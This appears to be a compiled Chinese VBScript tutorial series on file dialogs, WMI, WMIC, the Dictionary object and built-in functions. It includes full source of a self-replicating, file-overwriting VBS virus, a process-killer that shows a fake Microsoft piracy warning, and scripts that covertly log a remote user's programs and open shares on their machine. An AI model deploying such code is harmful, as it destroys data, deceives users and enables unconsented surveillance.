3、UserAccounts.CommonDialog 对象：Filter — 扩展名属性（"vbs File|*.vbs|All Files|*.*"）；

FilterIndex — 指定

InitialDir — 指定默认的文件夹

FileName — 指定的文件名

Flags — 对话框的类型

Showopen 方法：

很简单，ok，让我们来举两个简单的例子：

例一：保存文件

```
Set objDialog = CreateObject("SAFRCFileDialog.FileSave")
Set objFSO = CreateObject("Scripting.FileSystemObject")
objDialog.FileName = "test"
objDialog.FileType = ".txt"
intReturn = objDialog.OpenFileSaveDlg
If intReturn Then
objFSO.CreateTextFile(objDialog.FileName & objdialog.filetype)
Else
Wscript.Quit
End If
```

注意：1、SAFRCFileDialog.FileSave 对象仅仅是提供了一个方便用户选择的界面，本身并没有保存文件的功能，保存文件还需要使用 FSO 对象来完成。2、用 FileType 属性来指定默认的文件类型。3、在调用 OpenFileSaveDlg 方法时，最好把返回值保存到一变量中，用它可以判断用户按下的是确定还是取消。

例二：.打开文件

```
set objFile = CreateObject("SAFRCFileDialog.FileOpen")
intRet = objFile.OpenFileOpenDlg
if intret then
msgbox "文件打开成功！文件名为：" & objFile.filename
```

```

else
wscript.quit
end if
例三：比较复杂的打开文件对话框
Set objDialog = CreateObject("UserAccounts.CommonDialog")
objDialog.Filter = "vbs File|*.vbs"
objDialog.InitialDir = "c:\\"
tfile=objDialog.ShowOpen
if tfile then
strLoadFile = objDialog.FileName
msgbox strLoadFile
else
wscript.quit
end if
说明：在脚本中加入 objDialog.Flags = &H020 看看会出现什么结果

```

vbs 脚本编程简明教程之十三——1

WMI 基础之一

WMI 即 Windows 管理规范，是用户管理本地和远程计算机的一种模型。通过它可以访问、配置、管理和监视几乎所有的 Windows 资源。WMI 的语法十分简单，基本上常见的命名空间、对象等用几乎一模一样。它对应的是 Windows 里的 WMI 服务（winmgmt）。

一、WMI 的起源

几年前，几家资深的计算机公司由于系统管理领域缺少标准，委托 DMTF 启动了 CIM（通用信息模型）项目，理想的 CIM 是一种不受限制于任何特定实现环境的管理工具。WMI 是 CIM 的微软实现，它有很多类是从 CIM 中派生出来的。

二、WMI 的命名空间

那么命名空间是做什么作用的呢？我简单这样说，在同一段代码中，如果有两个变量或函数的名字完全相同，就会出现冲突。命名空间就是为解决变量、函数的命名冲突而服务的。解决的办法就是将你的变量定义在一个不同名字的命名空间中。就好像财政局有个张三，公安局也有个张三，但我们清楚，就是因为他们分属不同的单位。有些地方可能不太准确，但大致意思就是这样了。

WMI 的命名空间创建了一个层次结构，有点类似于我们的目录文件结构。

- 1、 root-作为所有其他名字的占位符；
- 2、 root\default-与注册表操作有关的类；
- 3、 root\security-与系统安全有关的类；
- 4、 root\cimv2-从 CIM 派生的类，代表我们最常用的工作环境。

三、WMI 的对象路径

WMI 的对象路径用来在 CIM 库中定位类和它的事例，对象路径用两个反斜杠\开头，第一个元素是目标计算机的名字，第二个元素是相应的 WMI 命名空间，第三个元素是相应的类名，并用：将它与命名空间分隔开来。例如：\\.\root\cimv2:win32_service
其中那个 . 代表是本地系统。

四、WMI 的查询语言——WQL 仅仅是 ANSI SQL 的一个子集，只能用于数据的提取。

数据、事件查询的基本语法为：

```
Select pro1, pro2, pro3 from myclass ( myclassevent )
```

例如：Select name, path from Win32_share 说明：列出所有共享的名称和路径

也可以使用通配符 *，例如：Select * from Win32_share

关键字 Where 用于限定查询的范围。

例如：Select * from Win32_share where name="Admin"

五、WMI 脚本中使用的三个步骤

步骤 1：连接到 WMI 服务

在任何 WMI 脚本中，第一个步骤都是建立一个到目标计算机上的 Windows 管理服务的连接。方法是调用 VBScript 的 Getobject 函数并将 WMI 脚本库的名字对象的名称（即“winmgmts:”，后跟目标计算机的名称）传递到 Getobject，并返回一个对象的引用，此时，您就可以调用其提供的方法如：InstancesOf，正如方法名所示，InstancesOf 返回由资源的类名标识的托管资源的所有实例。

步骤 2：检索 WMI 托管资源的实例

一般采用 WQL 来实现。

步骤 3：显示 WMI 托管资源的属性

最后一个步骤是枚举 检索得到集合的内容。一般采用

```
For each enum in myclass
```

```
.....
```

```
Next 结构来实现。
```

六、WMI 测试器 (wbemtest.exe)验证脚本执行结果

现在，您对可用于浏览和查看 CIM 的工具已经有了一些认识，让我们使用 WMI 测试器 (wbemtest.exe) 来检查 Win32_Process 类定义，以便从在您的本地计算机上运行的进程检索一些属性。

1. 打开一个命令提示，键入 C:\>wbemtest.exe，按下 Enter 来开始 WMI 测试器工具。请注意，大部分按钮在主 WMI 测试器窗口上是被禁用的，这说明此时您没有连接到 WMI。

2. 单击“连接”按钮 连接到本地或远程计算机上的 WMI 服务。显示“连接”对话框，它提供一个标记为 名称空间的文本输入区域，该区域默认值为 root\default。将 名称空间 区域的值更改为 root\cimv2，单击“连接”对话框的 连接 按钮返回到主 WMI 测试器窗口。

3. 主窗口中左上角的命名空间标识符应该显示为 root\cimv2。请注意，所有的按钮现在都已启用，这说明在当前凭据环境下，您已经成功连接到本地主机上的 WMI。单击 枚举类别 打开“超类信息”对话框。

4. 在“超类信息”对话框中，不要填写 输入超类别名称 区域，单击 递归 选项，单击 确定 以枚举 root\cimv2 名称空间中定义的所有 CIM 类。

请注意，列于“查询结果”对话框顶部的类是以两个下划线为开头的。这些是系统类。系统类是预定义的 CIM 类，支持内部 WMI 配置与操作，例如提供程序注册、命名空间安全性及事件通知等。现在，忽略系统类，向下滚动“查询结果”对话框直至看到以 CIM_ 开头的类。名称以 CIM_ 开头的类是由 DMTF 维护的核心与公共基类。继续向下滚动直至到达以 Win32_ 开头的类。名称以 Win32_ 开头的类是 Microsoft 扩展类，表示 Windows 特定的托管资源。如果这是您第一次检查 root\cimv2 命名空间，您可能希望熟悉 root\cimv2 命名空间中的类的完整集合，尤其是有 Win32_ 前缀的类。

5. 向下滚动“查询结果”对话框直至到达 Win32_Process 类，双击该类名打开 Win32_Process 对话框的对象编辑器。

6. “对象编辑器”对话框显示被选定类的定义和实现的详细信息（属性和方法）。选择 Hide System Properties 复选框隐藏系统属性。剩余的 Win32_Process 属性表示您可以从在本地或远程计算机上运行的进程检索的信息。

运行如下代码：

```
strComputer = "."
Set wbemServices = Getobject("winmgmts:\\\" & strComputer)
Set wbemObjectSet = wbemServices.InstancesOf("Win32_Process")
For Each wbemObject In wbemObjectSet
    WScript.Echo "Name:      " & wbemObject.Name    & vbCrLf & _
        " Handle:  " & wbemObject.Handle  & vbCrLf & _
        " Process ID: " & wbemObject.ProcessID
Next
```

7.在运行脚本之后，您可以用 WIMI 测试器验证脚本的结果。在 Win32_Process 对话框的对象编辑器中，单击 Instances。产生的查询结果对话框列出在计算机上运行的进程的实例。双击一个指定的进程实例，查看该实例的详细信息。

vbs 脚本编程简明教程之十三——2

WMI 基础之二—阻止客人运行你不想运行的程序

很多人都有这样的经验，刚刚装好的系统，让人运行了一些你不想他运行的程序，比如说 QQ，又是聊天，又是下载表情，不过一会，流氓插件、病毒、木马已经盘踞了你的计算机，常常是忍痛将这个程序卸载，可是不知情的人很自觉的下载安装，使整个系统无法正常运行。

其实用 vbs 和 wmi 结合起来，使你的计算机上有相应的程序安装，别人又无法运行起来太容易了，现在给出代码：

```
On Error Resume Next '忽略所有的错误
Dim bag,pipe,honker,good
Do
good="." '定义为本地计算机
set bag=getobject("winmgmts:\\\"& good & "\root\cimv2") 'I 连接到 cimv2 命名空间
set pipe=bag.execquery("select * from win32_process where name='qq.exe' or name='qqgame.exe' or name='winmine.exe'") '看，这是我的计算机上不允许运行的程序，qq、qqgame、winmine（扫雷）如果你还有其他的程序不允许运行，很简单，在其中添加 or name='你不允许运行的程序名'
for each i in pipe
i.terminate()
msgbox "发现盗版系统，现已进行功能限制！" & vbCrLf & "请使用正版软件！","微软提示" '此行其实可有可无，有这行只是为了免去怀疑
next
wscript.sleep 60000 '每 1 分钟检测一次
loop
那么如果我自己想运行这些程序该怎么办呢,很简单，Ctrl+Alt+Del 三个键齐按，打开 windows 任务管理器，在进程中结束 Wscript.exe 和 wmiiprvse.exe 进程的运行就可以了
```

vbs 脚本编程简明教程之十四

使用 dictionary 对象

VBS 中存在一个特殊的对象 - dictionary，是一个集合对象。一般情况，我把这个特殊的集合想象为数组，可以使用其中内建的函数完成存储和操纵数据等基本任务，无须担心数据是在哪些行列，而是使用唯一的键进行访问或者是一个只能运行在内存中的数据库，并只有两个字段分别是：key 和 item，在使用中，字段 key 是索引字段。

```
set sdict=CreateObject("Scripting.Dictionary")
sdict.add "a","apple"
sdict.add "b","banana"
sdict.add "c","copy"
for each key in sdict.keys
msgbox "键名" & key & "是" & " = " & sdict (key)
next
sdict.removeall
```

这个脚本很简单，就是定义了一个 dictionary 对象的实例 sdict，并加入了三条数据，然后对每一条数据进行了枚举，最后，将对象的实例清空。

Dictionary 对象的成员概要

属性和说明

CompareMode 设定或返回键的字符串比较模式

Count 只读。返回 Dictionary 里的键/条目对的数量

Item(key) 设定或返回指定的键的条目值

Key(key) 设定键值

方法和说明

Add(key,item) 增加键/条目对到 Dictionary

Exists(key) 如果指定的键存在，返回 True，否则返回 False

Items() 返回一个包含 Dictionary 对象中所有条目的数组

Keys() 返回一个包含 Dictionary 对象中所有键的数组

Remove(key) 删除一个指定的键/条目对

RemoveAll() 删除全部键/条目对

vbs 脚本编程简明教程之十五—1

VBS 内置函数之一

Abs 函数：返回数的绝对值。

Array 函数：返回含有数组的变体。

Asc 函数：返回字符串首字母的 ANSI 字符码。

Atn 函数：返回数值的反正切。

CBool 函数：返回已被转换为 Boolean 子类型的变体的表达式。

CByte 函数：返回已被转换为字节子类型的变体的表达式。

CCur 函数：返回已被转换为货币子类型的变体的表达式。
CDate 函数：返回已被转换为日期子类型的变体的表达式。
CDBl 函数：返回已被转换为双精度子类型的变体的表达式。
Chr 函数：返回与指定的 ANSI 字符码相关的字符。
CInt 函数：返回已被转换为整形子类型的变体的表达式。
CLng 函数：返回已被转换为 Long 子类型的变体的表达式。
Cos 函数：返回角度的余弦。
CreateObject 函数：创建并返回对“自动”对象的引用。
CSng 函数：返回已被转换为单精度子类型的变体的表达式。
CStr 函数：返回已被转换为字符串子类型的变体的表达式。
Date 函数：返回当前系统日期。
DateAdd 函数：返回的日期已经加上了指定的时间间隔。
DateDiff 函数：返回两个日期之间的间隔。
DatePart 函数：返回给定日期的指定部分。
DateSerial 函数：返回指定年月日的日期子类型的变体。
Datevalue 函数：返回日期子类型的变体。
Day 函数：返回日期，取值范围为 1 至 31。
Eval 函数：计算表达式并返回结果。
Exp 函数：返回 e（自然对数的底）的多少次方。
Filter 函数：根据指定的筛选条件,返回含有字符串数组子集的、下限为 0 的数组。
Fix 函数：返回数的整数部分。
FormatCurrency 函数：返回的表达式为货币值格式，其货币符号采用系统控制面板中定义的。
FormatDateTime 函数：返回的表达式为日期和时间格式。
FormatNumber 函数：返回的表达式为数字格式。
FormatPercent 函数：返回的表达式为百分数（乘以 100）格式，后面有 % 符号。
GetObject 函数：返回从文件对“自动”对象的引用。
GetRef 函数：返回对能够绑定到一事件的过程的引用。
Hex 函数：返回一字符串，代表一个数的十六进制值。
Hour 函数：返回表示钟点的数字，取值范围为 0 至 23。
InputBox 函数：在对话框中显式一提示，等待用户输入文本或单击按钮，并返回文本框的内容。
InStr 函数：返回一个字符串在另一个字符串中首次出现的位置。
InStrRev 函数：返回一个字符串在另一个字符串中出现的位置，但是从字符串的尾部算起。

VBS 内置函数之二

Int 函数：返回数的整数部分。
IsArray 函数：返回 Boolean 值，反映变量是否为数组。
IsDate 函数：返回 Boolean 值，反映表达式能否转换为日期。
IsEmpty 函数：返回 Boolean 值，反映变量是否已被初始化。
IsNull 函数：返回 Boolean 值，反映表达式是否含有无效数据(Null)。
IsNumeric 函数：返回 Boolean 值，反映表达式能否转换为数字。
IsObject 函数：返回 Boolean 值，反映表达式是否引用了有效的“自动”对象。
Join 函数：返回通过连接许多含有数组的子串而创建的字符串。
LBound 函数：返回指定维数数组的最小有效下标。

LCase 函数：返回的字符串已被转换为小写字母。

Left 函数：返回字符串最左边的指定数量的字符。

Len 函数：返回字符串中的字符数或存储变量所需的字节数。

LoadPicture 函数：返回图片对象。只用于 32 位平台。

Log 函数：返回数的自然对数。

LTrim 函数：返回去掉前导空格的字符串。

Mid 函数：从字符串中返回指定数量的字符。

Minute 函数：返回分钟数，取值范围为 0 至 59。

Month 函数：返回表示月份的数，取值范围为 1 至 12。

MonthName 函数：返回表示月份的字符串。

MsgBox 函数：在对话框中显示消息，等待用户单击按钮，并返回表示用户所击按钮的数值。

Now 函数：返回计算机的当前系统日期和时间。

Oct 函数：返回表示该数八进制数值的字符串。

Replace 函数：返回一字符串，其中指定的子串已被另一个子串替换了规定的次数。

RGB 函数：返回代表 RGB 颜色值的数字。

Right 函数：返回字符串最右边的指定数量的字符。

Rnd 函数：返回随机数。

Round 函数：返回指定位数、四舍五入的数。

RTrim 函数：返回去掉尾部空格的字符串副本。

ScriptEngine 函数：返回反映使用中的脚本语言的字符串。

ScriptEngineBuildVersion 函数：返回使用中的脚本引擎的编译版本号。

ScriptEngineMajorVersion 函数：返回使用中的脚本引擎的主版本号。

ScriptEngineMinorVersion 函数：返回使用中的脚本引擎的次版本号。

Second 函数：返回秒数，取值范围为 0 至 59。

VBS 内置函数之三

Sgn 函数：返回反映数的符号的整数。

Sin 函数：返回角度的正弦值。

Space 函数：返回由指定数量的空格组成的字符串。

Split 函数：返回下限为 0 的、由指定数量的子串组成的一维数组。

Sqr 函数：返回数的平方根。

StrComp 函数：返回反映字符串比较结果的数值。

String 函数：返回指定长度的重复字符串。

StrReverse 函数：返回一字符串，其中字符的顺序与指定的字符串中的顺序相反。

Tan 函数：返回角度的正切值。

Time 函数：返回表示当前系统时间的“日期”子类型的“变体”。

Timer 函数：返回时经子夜 12:00 AM 后的秒数。

TimeSerial 函数：返回含有指定时分秒时间的日期子类型的变体。

Timevalue 函数：返回含有时间的日期子类型的变体。

Trim 函数：返回去掉前导空格或尾部空格的字符串副本。

TypeName 函数：返回一字符串，它提供了关于变量的变体子类型信息。

UBound 函数：返回指定维数数组的最大有效下标。

UCase 函数：返回的字符串已经被转换为大写字母。

VarType 函数：返回标识变体子类型的数值。

Weekday 函数：返回表示星期几的数值。

WeekdayName 函数：返回表示星期几的字符串。

Year 函数：返回表示年份的数值。

vbs 病毒的简单例子源代码解析

说明：作者对某些代码进行了修改。该文件是一个完整的程序。该文件执行之后，会寻找硬盘上所有满足条件的文件，对其进行强制性覆盖（满足条件的文件数据将全部丢失）、并再创建一个相同文件名但后缀为.vbs 的文件。因此，请注意设立好破坏测试条件，千万不要对他人进行测试，否则，一切后果自负。

```
dim folder,fso,foldername,f,d,dc
set fso=createobject("scripting.filesystemobject")
set self=fso.opentextfile(wscript.scriptfullname,1)
vbscopy=self.readall '读取病毒体，以备复制到文件
self.close
set dc=fso.Drives
for each d in dc
if d.drivetype=3 or d.drivetype=2 then '检查磁盘类型
wscript.echo d '弹出窗口，显示找到盘符
scan(d)
end if
next
lsfile=wscript.scriptfullname '该脚本程序路径
set lsfile=fso.getfile(lsfile)
lsfile.delete(true) '病毒运行后自我删除(本人自加，爱虫病毒本身没有该代码)
sub scan(folder_)
on error resume next
set folder_=fso.getfolder(folder_)
set files=folder_.files
for each file in files
ext=fso.GetExtensionName(file) '获取文件后缀
ext=lcase(ext) '后缀名转换成小写字母
if ext="mp5" then '如果后缀名是 mp5,当然不存在这种文件，这里可以自己修改，但是注意。请自己建立
```

```

相应后缀名的文件，最好是非正常后缀名
set ap=fso.opentextfile(file.path,2,true)
' ap.write vbscopy '覆盖文件，慎用
ap.close
set cop=fso.getfile(file.path)
cop.copy(file.path & ".vbs") '创建另外一个病毒文件
' file.delete(true) '删除原来文件
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders '搜索其他目录
scan(subfolder)
next
end sub

```

Vbs 脚本编程简明教程补充读物—初窥 WMI

今天，我将给大家介绍个朋友，它就是 Microsoft Windows Management Instrumentation (WMI)。中文名叫 Windows 管理规范。从 Windows 2000 开始，WMI (Windows 管理规范) 就内置于操作系统中，并且成为了 Windows 系统管理的重要组成部分。所以大家很容易就能见到它的，因为我们至少也应该是个 Windows 2000 的使用者了。下面我将详细介绍它的每个细节，让你从不认识它到喜欢上它。

WMI 能做什么？

WMI 不仅可以获取想要的计算机数据，而且还可以用于远程控制。远程控制计算机可是大家都喜欢的东西。很多远程监视控制类软件通常的做法是：在远程计算机上运行服务端后台程序，在本地计算机上运行一个客户端控制程序，通过这二个程序的勾结来实现对计算机的远程控制。这种作法的缺点是十分明显的，当服务端程序关了，这种远程监控就无法实现了，因为没有内线了。而 WMI 实现的远程监视和控制完全不需要另外装什么服务端的东西，系统默认就将 WMI 服务给开了。具体说来，WMI 的本领如下：

- 1．获取本地和远程计算机的硬件软件信息。
- 2．监视本地和远程计算机的软件和服务等运行状况。
- 3．控制本地和远程计算机的软件和服务运行。
- 4．高级应用。

如何访问 WMI？

当我们知道 WMI 的某些本领后，我们已经很想知道如何认识他并利用他了。利用 WMI 有许多途径，简单说来有三种了：

- 1．通过微软给我们提供的各种工具来实现普通查询和操作。主要包括命令提示符下面的 WMIC，还有就是微软给我们提供的 WMI TOOL，大家可以到微软的网站上免费下载，当然我也可以给大家免费提供。
- 2．通过自己编写脚本来实现更灵活操作。要想真正灵活实用，对 WSH 脚本的熟悉是必须的，当然如果你不熟悉也没有关系，稍后我会给大家详细解释的。
- 3．通过编写我们自己的程序来访问并操作它。什么语言都行。如果用 .NET 类程序要简单些了，如果用 VC 等要复杂些了，起码我是这么认为的。
- 4．还有个访问它的方法，就是到它的一个巢穴。在 C:\WINDOWS\system32\wbem 目录中的东西都和它有密切联系，有日志和各种工具，在里面你可以找到很多答案的。不过这些东西一般都不适合我们新手玩了，感觉有点吓人。

我们今天的任务？

今天我们的任务有五个：

任务一：利用 WMIC 列出远程计算机上的所有进程。

任务二：利用 WMIC 关闭本地进程。

任务三：通过 WMIC 把远程主机的进程信息保存在一个网页中

任务四：利用脚本实时监视对方进程

任务五：利用脚本给对方开放共享

查看和监视进程，还要把进程给杀掉，最后还要给对方开个共享，我们这位朋友快把坏事做尽了。明白了我们的任务，我们就可以上路了。这次我们将主要借助 WMIC 和脚本来实现我们的任务，所以我们将主要分为两大部分来讲解。在五个任务的实战中我们将更加深入地理解它，没有基础没有关系，我将尽力去解释所有的所谓的基础，让大家能很轻松地 and 这位朋友交流。

第一部分：利用 WMIC 来认识 WMI

WMIC 是 Windows Management Instrumentation Commandline 的简称，WMIC 扩展 WMI，提供了从命令行接口和批命令脚本执行系统管理的支持。为 WMI 名称空间提供了一个强大的、友好的命令行接口。有了 WMIC，WMI 就显得平易近人了。

执行“WMIC”命令将启动 WMIC 命令行环境。第一次执行 WMIC 命令时，Windows 首先要安装 WMIC，然后显示出 WMIC 的命令行提示符。在 WMIC 命令行提示符上，命令将以交互的方式执行。如果你不知道该如何和它交互，请敲个“/?”，细细看完全部的说明，你就知道了。WMIC 也可以按照非交互的模式运行。如果要执行某个单步的任务，或者运行批命令中的一系列 WMIC 命令，非交互模式就很有用。要使用非交互模式，只要在同一命令行上启动 WMIC 并输入要执行的命令就可以了。

1. 任务一：利用 WMIC 列出远程计算机上的所有进程

这是一个实现起来很简单的任务，和你用一个 DOS 命令一样简单，因为我们要循序渐进嘛，所以安排了这么一个热身任务。在命令提示符下敲入下面的命令，我们将看到。

```
WMIC /node:192.168.1.2 /user:net process
```

解说：

1) 上面命令中的 NODE 和 USER 是全局开关。如果你不愿意另外输一次密码，你也可以用 PASSWORD 开关，后面写上密码就可以了（WMIC /node:192.168.1.2 /user:net /password:password process）。千万要注意，这里的用户名和密码都必须是管理员级别的，其它的无效。WMIC 提供了大量的全局开关、别名、动词、命令和丰富的命令行帮助增强用户接口。全局开关是用来配置整个 WMIC 会话的选项。

2) Process 是个别名，执行了一个 Win32_process 类的 WQL 查询，至于说是 WMI 的类是什么东西，感兴趣的就自己找资料多多了解，如果你很懒的话，就等我有时间给你开课讲解。别名是用户和 WMI 名称空间一个简化语法的中间层。当你指定一个别名时，动词（Verb）表示要执行的动作。

3) 如果你愿意，你可以在该后面加上个动词等，比如 LIST FULL 等（如：WMIC /node:192.168.1.2 /user:net /password:password process），这样你就看得更清楚了。

小提示：安装了 WMIC 的机器可以连接到任何一台安装了 WMI 的机器，被连接的机器不需要安装 WMIC。

2. 任务二：利用 WMIC 关闭本地进程

执行下面的命令将关闭正在运行的 QQ。我比较胆小，所以不敢关别人的 QQ，只能拿我的 QQ 试验了，如果你的智商还够用的话，胆子比较大的话，你很快就会去关别人的了。

```
WMIC
```

```
process where name="qq.exe" call terminate
```

解说：

1) 这次我们是用交互式的方法来执行任务，具体界面我就不多说了，图上画的比我说的的好多了。

2) Call 也是个动词，这个动词可是厉害了，控制类的没有不用它的，它就是可以调用各种类的各种方法

的大将。这里我们调用了 terminate 方法。从字面上你就可以看出是恶狠狠的。

3) Where 能够让你查询和筛选。在超级多的实例中找到你想要的。实例就是指每个类的具体实现了。前面的例子中看到的各个进程都分别算是 WIN32_PROCESS 中的一个实例。

3. 任务三：通过 WMIC 把远程主机的进程信息保存在一个网页中

这个任务和任务一中的大致相同，是任务一的加强。在任务一中信息以文本的形式显示出来了。其实除了文本形式的输出之外，WMIC 还能够以其他形式返回命令执行结果，例如 XML、HTML 或者 CSV（逗号分隔的文本文件），如图 3 所示。我们可以敲入下面的命令：

```
wmic /output:C:\1.html /node:192.168.1.2 /user:net process list full /format:hform.xml
```

输入密码：*****

解释：

1) 全局开关 OUTPUT 指明将这些信息保存在什么地方。

2) 全局开关 FORMAT 指明了用什么样的格式，至于说有那些格式可以用，你可以参看

C:\WINDOWS\system32\wbem 目录中的 *.xml 文件，你甚至不用管它们从哪里来的，用就是了。挨着看看，一定可以找到你喜欢的。

第二部分：利用脚本来认识 WMI

命令提示符的工具确实好用，但是却显示不出我们是高手，高手都是能利用程序来实现目的的。下面我们就开始用脚本来实现我们的任务，功能将更加强大，操作将更加灵活。

无论脚本还是真正意义上的程序，要检索 WMI 托管资源信息进而查询并利用 WMI，都需要遵循以下三个步骤的。

1. 连接到 WMI 服务。建立一个到目标计算机上的 Windows 管理服务的连接。

2. 检索 WMI 托管资源的实例。主要取决于要执行的任务。

3. 显示 WMI 某实例属性和调用其方法。

1. 任务四：利用脚本实时监视对方进程

在任务一和任务三中我们都是查看对方的进程，出来的结果对我们意义不是很大，在这个任务中我们要从现在开始每当他开一个任务我们就察觉到，并把它记录下来。我们要在他开进程的那一秒开始报告并记录，我们要清楚他所开的程序所在的位置，我们要比他更清楚地知道这些信息。

现在我们就按照前面提到的三个步骤来实现任务。

首先，我们连接到对方的 WMI。在这里我们首先调用 VBScript 的中的 CreateObject () 来得到一个对象，然后利用这个特殊的对象的方法来连接到远程的计算机上。这个特殊的对象就是 wbemscripting.swbemlocator。

```
set olct=createobject("wbemscripting.swbemlocator")
```

```
set wbemServices=olct.connectserver(strComputer,"root\cimv2",strUser,strPwd)
```

注意其中的 strComputer 就是你所要连接的计算机的名称或者 IP 地址，strUser，strPwd 当然就是用户名和密码了，我们说过这个用户必须具有管理员权限的才可以。root\cimv2 是 WMI 的命名空间，关于 WMI 的命名空间，大家可以到“计算机管理\WMI 控件”中看到，这里面的学问就大了，得慢慢琢磨，为了我们的任务快速实现，我就不多解释了。用这种方法连接到 WMI，返回一个对 SWbemServices 对象的引用，一旦有一个对 SWbemServices 对象的引用。我们就可以进行第二个步骤了。

在第二个步骤中，我们将得到 WMI 托管资源的实例，我们利用 WbemServices 中的一个方法

ExecNotificationQuery 可以查询我们所要的类，进而可以得到该类中实例。

```
Set colMonitoredProcesses = wbemServices. _
```

```
ExecNotificationQuery("select * from __instancecreationevent " _
```

```
& " within 1 where TargetInstance isa 'Win32_Process'")
```

注意这里有个类似于 SQL 语言的查询语言，这里叫做 WQL 语言，懂 SQL 的一看就明白了，不懂的就在网上找找它的资料，满天都是。得到的 colMonitoredProcesses 是所查询的类的实例的集合。有了这些我们

的第三个步骤就可以开始了。

在第三个步骤中，我们将显示出得到的实例中的属性。刚才我们得到的是实例的集合，在这里我们通过 colMonitoredProcesses.NextEvent 来获取每一个具体的实例，得到每一个具体的实例后，我们就可以显示出他们的属性，也就是我们想看的東西了。这里我们显示了 CommandLine 的属性值。

到现在你是否有些迷惑了，因为你还不知道到底 WMI 里面有那些类，具体类又有哪些属性，呵呵，没有关系的，用一些工具可以很轻松的得到这些信息。比如系统自带的 wbemtest，在运行中敲入这个程序名，你就可以看到这些了，它也遵循连接、查询、枚举这三个步骤。自己慢慢玩吧，很快你就会发现 WMI 太大了，单是命名空间就有 10 多个，然后单是我们常用的空间 root\CIMV2 里面就有近 1000 个类，每个类里面又有好多的属性，有些类还有好多方法。哈哈，头晕了吧？没关系，其实你只需要知道其中的一些就好了。

看到这些估计你的头已经很大了，但是恭喜你，我们的这个任务已经完成了，是的，就是这么简单，下面我将完整代码奉献出来。

```
Set colArgs = WScript.Arguments
If WScript.arguments.count < 3 then
WScript.Echo "USAGE:" & vbCrLf & " Monitor Computer User Password files"
WScript.quit
End If

strComputer = wscript.arguments(0)
strUser = wscript.arguments(1)
strPwd = wscript.arguments(2)
strFile = wscript.arguments(3)

set olct=createobject("wbemscripting.swbemlocator")
set wbemServices=olct.connectserver(strComputer,"root\cimv2",strUser,strPwd)
Set colMonitoredProcesses = wbemServices. _
ExecNotificationQuery("select * from __instancecreationevent " _
& " within 1 where TargetInstance isa 'Win32_Process'")
i = 0
Do While i = 0
Set objLatestProcess = colMonitoredProcesses.NextEvent
Wscript.Echo now & " " & objLatestProcess.TargetInstance.CommandLine
Set objFS = CreateObject("Scripting.FileSystemObject")
Set objNewFile = objFS.OpenTextFile(strFile,8,true)
objNewFile.WriteLine Now() & " " & objLatestProcess.TargetInstance.CommandLine
objNewFile.Close
Loop
```

到这个程序的核心了吧？相信你已经懂了其中的很多，剩余的部分代码我稍后解释。我们先来感性认识一下，先看它该怎么用吧！把上面的代码拷贝到记事本中，然后保存为 monitor.vbs 的文件，然后在命令提示符下输入：

```
CSCRIPT monitor.vbs
```

回车，你就会看到帮助，下面举例说明这个脚本的具体用法：

```
CSCRIPT monitor.vbs 192.168.1.2 user password C:\1.txt
```

在命令提示符下敲入上面的命令就 OK 了，每当对方开一个程序的时候，你就可以看到时间，程序路径和程序名。如果你没有时间去查看这些信息，你还可以等有时间的时候到 C:\1.txt 看到这些信息。

小知识：

每次使用脚本，都必须敲入 CSCRIPT 和脚本的后缀名，很麻烦。这是因为系统默认的执行引擎是 WSCRIPT，可以将其改成 CSCRIPT。另外一个让人不爽的是脚本执行后总要显示微软的说明，好像脚本不是我们写的一样。不过你可以通过在命令提示符下敲入下面的命令来解决这个问题：

```
cscript //nologo //h:cscript //s
```

这样你以后再运行这些脚本的时候就不用在敲入 CSCRIPT 了，也不用在写入 .vbs 的后缀名了，就上面的例子来说，你可以这样用：

```
monitor 192.168.1.2 user password C:\1.txt
```

解释：

- 1) 前面的那几行，大概就是为了显示帮助和处理我们在后面输入的参数。应用到了 WScript.Arguments 这个对象，利用它我们可以来获取并处理脚本的参数。
- 2) 那个死循环是为了让我们一直监视他（她），每当他开一个程序，我们就得到一个新的实例，我们就可以知道他更多的信息，哈哈，够狠吧。这样你也就知道了，当我们这个脚本运行后，只有通过我们人为中止才能中断监视，人为中止的方法大家可以用 CTRL+C 来完成，也可以用各种野蛮的方法来中止。
- 3) 在代码中出现的另外一个核心对象就是 FileSystemObject，应该是大家的老朋友了吧，我这里就不再做解释了，我们在这里应用它主要是为了将结果同时保存到一个文件中，我们利用它来创建或打开一个文件，将信息追加进去。
- 4) 至于那个 NOW，虽然体积很小，但是却正是它给我们提供了时间这个重要的信息。
- 5) 如果你想要监视的是自己的计算机而不是远程的计算机（据我所知，这个应用还是很广的）。那么请将计算机名的参数写为一个小点，用户名和密码留为空。如下所示：

```
monitor . "" "" C:\1.txt
```

2. 任务五：利用脚本给对方开放共享

有了任务四的基础，这次我们就先看代码吧：

```
Set colArgs = WScript.Arguments
```

```
If WScript.arguments.count < 5 then
```

```
WScript.Echo "USAGE:" & vbCrLf & " Rshare Computer User Password SharePath ShareName"
```

```
WScript.quit
```

```
End If
```

```
strComputer = wscript.arguments(0)
```

```
strUser = wscript.arguments(1)
```

```
strPwd = wscript.arguments(2)
```

```
strPath = wscript.arguments(3)
```

```
strShareName = wscript.arguments(4)
```

```
intMaximumAllowed = 1
```

```
strDescription = "Temporary share"
```

```
Const SHARED_FOLDER = 0
```

```
set olct=createobject("wbemscripting.swbemlocator")
```

```
set wbemServices=olct.connectserver(strComputer,"root\cimv2",strUser,strPwd)
```

```
Set objSWbemObject = wbemServices.Get("Win32_Share")
```

```
intReturnvalue = objSWbemObject.Create(strPath, _
```

```
strShareName, _
```

```
SHARED_FOLDER, _
```

```
intMaximumAllowed, _
```

```
strDescription)
```

```
if(intReturnvalue = 0) Then
WScript.Echo "The share have been created successfully"
End If
```

解说：

- 1) 我们可以看出来前面的那几行是为显示帮助和处理输入参数而存在的。
- 2) 紧接着设置了几个变量，为以后做参数用的。这里我们可以先不理睬它。
- 3) 连接到主机的 WMI，然后就是查询。前面已经说的很详细了。
- 4) 这次得到实例集后，我们用了它的一个方法，也就是这个方法让共享成为了可能，联系到第二部分的内容，我们不难知道第一个参数表示要共享的路径和文件名，第二个参数表示共享名，第三个参数为 0 就可以了，第四个参数是指可以连接的人数，第五个参数是共享描述了，而我们只关心前面的两个参数。如果手头有 MSDN 那就好办了，到 MSDN 中可以查到该方法的更详细的内容。
- 5) 这次我们根据第四步的返回值来得到共享是否成功，并给出提示。不同的返回值代表不同的意义。这个信息在 MSDN 中可以很清楚地查到。比如 0 代表成功返回，2 代表拒绝访问，9 代表用户名错误，25 代表主机名没有找到等等。
